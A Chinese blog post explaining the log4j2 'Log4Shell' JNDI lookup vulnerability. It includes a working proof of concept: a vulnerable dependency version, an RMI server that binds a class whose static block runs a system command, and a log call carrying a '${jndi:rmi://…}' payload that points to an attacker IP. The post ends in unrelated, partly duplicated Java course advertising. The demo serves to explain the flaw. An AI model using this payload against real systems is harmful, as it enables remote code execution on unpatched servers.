==================================================================
这两天被log4j2的漏洞给刷屏了，就像下面这样
但是很少有人提及这个漏洞到底是怎么回事儿。log4j2最为非常顶尖的日志框架，怎么会出现这种级别的漏洞呢？了解过漏洞的原理之后我发现，这应该算是一种低级漏洞了。原理就是JNDI代码注入。不过我也是先刷到了大都督的视频才了解了原因的Log4j高危漏洞！具体原因解析！全网第一！不得不说，大都督还是叼。
======================================================================
首先，先码一下依赖，我这里是gradle工程，大都督的是maven工程，不过都一样。
//今天的主角，log4j2
implementation ‘org.apache.logging.log4j:log4j-core:2.13.3’
implementation ‘org.apache.logging.log4j:log4j-api:2.13.3’
//下面这俩不重要，主要是为了提高逼格的
implementation ‘org.apache.tomcat.embed:tomcat-embed-core:8.5.11’
implementation ‘org.glassfish:jakarta.el:3.0.3’
一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2，所以代码就直接调用log4j2的api记录日志了。
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = “world”;
logger.trace(“hello {}”,content);
}
}
上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world
不过log4j2并不满足上面的功能，他们提供了一种叫lookups的功能log4j2的lookups说明。
这功能强大啊，我们用demo看一下：
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = “world”;
logger.trace(“hello {}”,content);
//https://logging.apache.org/log4j/2.x/manual/lookups.html
String content2 = “${java:os}”;
logger.trace(“hello {}”,content2);
String content3 = “${java:vm}”;
logger.trace(“hello {}”,content3);
}
}
我们看下输出的结果：
2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot™ 64-Bit Server VM (build 25.261-b12, mixed mode)
从结果上可以看到，输出的并不是hello ${java:os}和hello ${java:vm}，而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样，那也算不上什么漏洞，只能说功能强大而已。
Jndi Lookup
但是，log4j2还支持了Jndi Lookup这就很要命了。为了观察这个问题，我们先启动个JNDI的服务看看
public class SimpleJndiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println(“create rmi 1099”);
Reference reference = new Reference(“com.skyline.log4j2.demo.jndi.JndiObj”, “com.skyline.log4j2.demo.jndi.JndiObj”, null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind(“demo”, wrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
public class JndiObj implements ObjectFactory {
static {
System.out.println(“this is JndiObj,i’m here!”);
try {
//打开远程链接
Runtime.getRuntime().exec(“mstsc”);
} catch (IOException e) {
e.printStackTrace();
}
}
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new JndiObj();
}
@Override
public String toString() {
return “JndiObj{” +
“name='” + name + ‘’’ +
‘}’;
}
}
然后，我们再写日志
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//JNDI注入参考链接
//https://blog.csdn.net/caiqiiqi/article/details/105976072
//192.168.31.13为客户端ip（攻击者ip），不是服务ip
System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);
String content4 = “${jndi:rmi://192.168.31.13:1099/demo}”;
logger.trace(“hello {}”,content4);
}
}
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
深知大多数Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Java开发知识点，真正体系化！
由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！
如果你觉得这些内容对你有帮助，可以扫码获取！！（备注Java获取）
写在最后
为了这次面试，也收集了很多的面试题！
以下是部分面试题截图
《互联网大厂面试真题解析、进阶开发核心学习笔记、全套讲解视频、实战项目源码讲义》点击传送门即可获取！
/img-community.csdnimg.cn/images/e5c14a7895254671a72faed303032d36.jpg" alt=“img” style=“zoom: 33%;” />
写在最后
为了这次面试，也收集了很多的面试题！
以下是部分面试题截图
[外链图片转存中…(img-56B6LTaT-1713471516838)]
《互联网大厂面试真题解析、进阶开发核心学习笔记、全套讲解视频、实战项目源码讲义》点击传送门即可获取！
扫一扫
2416
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
